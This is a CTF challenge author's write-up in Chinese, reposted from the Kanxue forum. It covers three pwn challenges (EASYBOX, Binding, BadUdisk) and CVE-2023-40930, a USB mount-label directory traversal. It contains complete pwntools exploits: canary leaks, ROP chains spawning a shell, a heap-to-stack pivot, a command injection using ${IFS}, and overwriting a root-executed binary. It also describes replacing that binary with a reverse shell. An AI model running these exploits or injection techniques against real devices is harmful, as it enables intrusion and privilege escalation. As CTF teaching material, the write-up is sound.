DAS PWN出题思路&CVE-2023-40930的介绍
2023-11-23 18:1:48 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏



前言

出了一道Glibc的题,剩下的两道结合了自己一年多搞IOT的经验和一个自己新发现的CVE(CVE-2023-40930),希望大家能玩的开心。


EASYBOX

这题有54个解,没猜错的话大家应该都是通过注入做的,这也是预期的一种解法。

出题思路

这题其实是想把几个常见的路由器漏洞合在一道题里,总共有这么几个漏洞:

(1)目录穿越

catCommand中strcat的第二个参数s没有ban掉"..",所以存在目录穿越能够读前面init函数中的canary文件。

(2)命令注入

pingCommand函数中存在命令注入:

并且黑名单没有ban单双引号以及"`"所以肯定是能够直接注入获取flag的:

(3)栈溢出

这个其实是一开始设置的预期解,后面web社长pankas指出ping那里没ban单双引号可以注入,但思考很久还是把这两个解法都留着,做一个开放性的题目。

catCommand是通过fread从一个文件中读数据然后存到栈上的数组,所以如果这个文件中的数据超过了栈上数组的大小,那么肯定就溢出了。

这个思路是源于之前研究过的一个路由器,也有类似的问题:

这里的fgets是把v1这个fd对应的文件中的数据读到栈上,读0x200大小,但其实v11这个数组只有120大小,所以就可能存在溢出。但后面发现其实v1对应的fd是一个存报错信息的文件,貌似不太好控制其中的内容,所以就浅尝辄止了,但也就留存了这么一个思路来放到这个题。

具体的解法就是在ping中的system,通过分割符执行echo命令,把padding和rop写到result.txt中,再通过catCommand去读完成溢出劫持到rop。

exp

(1)命令注入解法:

注的手法很多,这里就不赘述。

(2)栈溢出解法:

from pwn import *
import time
import base64

context.log_level = 'debug'

io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)

def z():
gdb.attach(r)
time.sleep(1)

if __name__ == '__main__':
global r
global libc
global ef
#libc = ELF("./libc-2.31.so")
#r = process("./pwn")
r=remote("127.0.0.1",9999)
#ef = ELF("./pwn")
#ef.checksec()
pop_rdi_ret = 0x401ce3
system = 0x401230
sh = 0x402090
ret = 0x40101a

## leak canary
sla("name:","nameless")
sla("$","CAT")
sla("view:","../secret/canary.txt")
canary = int(r.recvuntil("\n",drop = True),16)
lg("canary",canary)

## stack overflow attack
sla("$","PING")
payload = "a"*0x48 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(sh) + p64(ret) +p64(system)
payload = base64.b64encode(payload)
print(len(payload))
pd = ";echo "+'"'
pd += payload
pd += '" | base64 -d'
#z()
sla("address:",pd)

## get shell
sla("$","CAT")
#z()
sla("view: ","result.txt")
io()

(ps:这里通过base64加解码是因为rop中有"\x00"会截断字符串)

总结

这题设计的还是有一定缺陷的,比如指向性太差,一般不会有人考虑栈溢出的解法,然后其实离真实设备还有一定差距,下次如果有机会的话,可以改一个openwrt的docker来出题。


Binding

彩蛋

这题的描述和EASYBOX的描述都致敬了笔者最近痴迷的一款游戏——The Binding Of Isaac:Rebirth(以撒的结合:重生)

出题思路

和去年一样的不想出house,而且想出一道表面堆实际栈的题。所以就想到了栈迁移到堆,然后思考如何绕过canary,一般来说canary一般都是泄露,笔者自从2022年的Hgame做过一道chuj学长出的多线程改canary的题就没遇到过直接修改canary来绕过的题了。于是就出了一道给一次任意地址写1字节,直接改fs:0x28的canary本源来绕过的题。

解题思路

存在UAF,所以可以通过unsorted bin泄露libcbase和heapbase,一次任意地址写改fs:0x28的canary,然后通过edit的my_atoi的溢出栈迁移到堆完成利用。

exp

from pwn import *
import time

context.log_level = 'debug'

io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)

def z():
gdb.attach(r)
time.sleep(1)

def cho(num):
sla("choice:",str(num))

def add(idx,sz,con):
cho(1)
sla("Idx:",str(idx))
sla("Size:",str(sz))
sa("Content:",con)

def show(idx,choice):
cho(3)
sla("Your choice:",str(choice))
sla("Idx:",str(idx))

def edit(idx,content1,content2):
cho(2)
sa("Idx:",idx)
sa("context1: ",content1)
sa("context2: ",content2)

def delet(idx):
cho(4)
sla("Idx:",str(idx))

if __name__ == '__main__':
global r
global libc
global ef
libc = ELF("./libc-2.31.so")
#r = process("./pwn")
r=remote("0.0.0.0",9999)
ef = ELF("./pwn")
ef.checksec()

add(0,0x100,"nameless")
add(1,0x100,"nameless")
add(2,0x100,"nameless")
add(3,0x100,"nameless")
add(4,0x100,"nameless")
add(5,0x100,"nameless")
for i in range(0,5):
delet(i)

# leak libcbase && heapbase
show(3,1)
rcu("context: ")
libcbase = u64(r.recv(6).ljust(8,'\x00')) - 0x1ecbe0
show(2,0)
rcu("context: ")
heap = u64(r.recv(6).ljust(8,'\x00')) - 0x5d0
lg("libcbase",libcbase)
lg("heap",heap)

# set libc func
fsbase = libcbase + 0x1f3540
canary = fsbase+0x28
leave_ret = libcbase + 0x578c8
target = heap + 0xf60
open = libcbase + libc.sym["open"]
read = libcbase + libc.sym["read"]
puts = libcbase + libc.sym["puts"]
pop_rdi_ret = libcbase + 0x23b6a
pop_rsi_ret = libcbase + 0x2601f
pop_rdx_ret = libcbase + 0x142c92

# set rop
chunk = heap + 0xa10
pd = p64(0)+p64(pop_rdi_ret)+p64(chunk)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(open)
pd += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(chunk)+p64(pop_rdx_ret)+p64(0x30)+p64(read)
pd += p64(pop_rdi_ret)+p64(chunk)+p64(puts)
add(6,0x150,"flag\x00")
add(7,0x200,pd)

# get shell
edit("0".ljust(0x30,'\x00') + p64(target) + p64(leave_ret),p64(canary),p64(0))

io()


BadUdisk

出题思路

USB挂载漏洞介绍

这题源于CVE-2023-40930,一个USB挂载目录穿越的漏洞。

漏洞介绍:https://gist.github.com/NSnidie/2af70d58426c4563b2f11171379fdd8c

漏洞复现环境搭建:https://github.com/NSnidie/CVE-2023-40930

简单谈谈这个漏洞,早在几年前就有一个类似的安卓漏洞 CVE-2018-9445,近年也有对日产Xterra车机linux系统USB挂载目录穿越的披露:U盘目录穿越获取车机 SHELL(含模拟环境) (delikely.eu.org)(https://delikely.eu.org/2021/06/04/U%E7%9B%98%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E8%8E%B7%E5%8F%96%E8%BD%A6%E6%9C%BASHELL/

这几个漏洞有一个共性,就是挂载的目录会通过label字段进行控制。比如我的label字段为"nameless",最后挂载的目录一般就是"/mnt/nameless";但如果挂载的时候对label字段没有很好的限制的话,比如说没有禁掉"..",我的label字段设置为"../nameless",那么就有可能挂载到"/nameless"目录。

而且一般处理挂载的是root一类的超级用户进程,挂载过后可能会有对其它进程的调用比如system("/sbin/log"),如果通过这个挂载漏洞,覆盖掉/sbin目录,将log替换为反弹shell到我们的攻击机上,就完成了提权和对目标设备的劫持。

题目设置

这道题就是对整个usb挂载的模拟,vold进程负责把mkudisk进程修改的tmp目录根据提供的label字段进行挂载。正常挂载是到/mnt目录,但是由于没有对label字段进行限制,导致可以目录覆盖,覆盖vold进程最后调用的可执行文件log,完成对flag的泄露。

exp

解法1——label注入

由于label字段没有做严格的限制,导致vold的system存在注入:

赛后询问唯一做出来这题的北邮的纯真师傅,发现他就是这么做的,下面是他分享的exp:

from pwn import *
p=connect('1.14.69.246',9999)
context.log_level='debug'
p.sendlineafter(b'prefer:',b'a')
s='|chmod${IFS}+r${IFS}/home/ctf/*'
p.sendlineafter(b'$','printf${IFS}"\\'+oct(ord(s[0]))[2:].rjust(3,"0")+'">label')
s=s[1:]
for i in s:
p.sendlineafter(b'$','printf${IFS}"\\'+oct(ord(i))[2:].rjust(3,"0")+'">>label')
p.sendlineafter(b'$','exit')
p.interactive()

解法2——USB挂载目录覆盖

from pwn import *
import time
import base64

context.log_level = 'debug'

io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)

def z():
gdb.attach(r)
time.sleep(1)

if __name__ == '__main__':
global r
global libc
global ef
#libc = ELF("./libc-2.31.so")
#r = process("./pwn")
r=remote("127.0.0.1",9999)
sla("prefer:","../mybin")
sla("$ ","sh")
time.sleep(1)
sl("cd ../tmp")
time.sleep(1)
sl("echo '#!/bin/sh\ncat /home/ctf/flag >/home/ctf/work/vold_log.txt\nchmod 777 /home/ctf/work/vold_log.txt' > log")
time.sleep(1)
sl("exit")
time.sleep(1)
sl("exit")
io()


总结

这一年CTF打的比较少了,主要还是在做一些IOT方面的研究,但还是希望这几道题大家能玩的开心。

看雪ID:Nameless_a

https://bbs.kanxue.com/user-home-943085.htm

*本文为看雪论坛优秀文章,由 Nameless_a 原创,转载请注明来自看雪社区

# 往期推荐

1、IOFILE exploit入门

2、入门编译原理之前端体验

3、如何用纯猜的方式逆向喜马拉雅xm文件加密(wasm部分)

4、反恶意软件扫描接口(AMSI)如何帮助您防御恶意软件

5、sRDI — Shellcode反射式DLL注入技术

6、对APP的检测以及参数计算分析

球分享

球点赞

球在看


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458529077&idx=1&sn=98cb8a5611fc09197f554b75274e7db0&chksm=b18d1dbf86fa94a93537e9895c70833b29cf04da682caad1df673c9ff0e573d146174d059200&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh